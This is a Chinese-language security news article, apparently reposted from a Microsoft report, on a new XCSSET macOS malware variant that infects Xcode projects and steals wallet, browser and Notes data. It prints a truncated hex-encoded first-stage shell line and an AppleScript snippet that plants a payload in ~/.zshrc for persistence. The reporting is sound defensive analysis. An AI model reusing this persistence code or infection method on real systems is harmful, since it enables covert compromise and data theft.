微软威胁情报团队发现了一种新型的XCSSET变种,这是一种复杂的模块化macOS恶意软件,能够感染Xcode项目,并在开发者构建这些项目时执行。
这是自2022年以来的首个已知XCSSET变种,采用了增强的混淆方法、更新的持久化机制以及新的感染策略,旨在窃取macOS用户的敏感信息。
恶意软件的感染策略
该恶意软件的感染策略利用了开发者在开发与Apple或macOS相关的应用程序时共享项目文件的方式。新型XCSSET变种采用了模块化的方式,其有效载荷经过深度编码,并改进了错误处理机制。
为了在受感染设备上保持低调并尽可能保持无文件状态,该恶意软件广泛使用脚本语言、UNIX命令和合法二进制文件,这使得检测和清除变得极具挑战性。在代码层面,恶意软件对模块名称进行混淆,以阻碍静态分析,并采用随机化方法生成有效载荷。
与之前的变种仅依赖xxd(hexdump)进行编码不同,最新版本还引入了Base64编码技术。
持久化技术
该恶意软件采用了三种不同的持久化技术,确保其有效载荷在以下情况下启动:新shell会话开始、用户打开伪造的Launchpad应用程序或开发者在Git中提交更改。
微软研究人员指出,感染链由四个阶段组成,首先是构建受感染的Xcode项目时运行的混淆shell有效载荷。
混淆的第一阶段 shell payload(来源 – Microsoft)
第一阶段的有效载荷在被传输到 shell 之前,会经过多次十六进制解码迭代:
sh -c"(echo 33336363233343633335233303536
在初始感染之后,该恶意软件会从其命令与控制服务器(C2)下载额外的模块,其中包括能够窃取系统信息、浏览器扩展数据、数字钱包信息以及来自 “备忘录” 应用程序的笔记内容的组件。
该恶意软件通过几种复杂的方法来实现驻留。其中一种方法是修改~/.zshrc 文件,以便在每次启动新的 shell 会话时执行恶意代码。
.zshrc 驻留方法(来源:微软)
恶意软件在利用.zshrc 文件驻留时,会先检查是否存在恢复标志,然后根据标志决定是删除恶意文件,还是创建并更新它:
on doMain() try if RESTORE_DEFAULT is true then do shell script "rm -f ~/.zshrc_aliases" log ".zshrc_aliases removed" else set payload to getPayloadBody("Terminal") set payload to quoted form of payload do shell script "echo " & payload & " > ~/.zshrc_aliases" log ".zshrc_aliases updated" set payload to "[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases" set payload to quoted form of payload do shell script "touch ~/.zshrc" do shell script "grep -qF '.zshrc_aliases' ~/.zshrc || echo " & payload & " >> ~/.zshrc" log ".zshrc done" end if on error the errorMessage log "failed at .zshrc: " & errorMessage return end try end doMain
参考来源:
New XCSSET Malware Attacking macOS Users With Enhanced Obfuscation
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)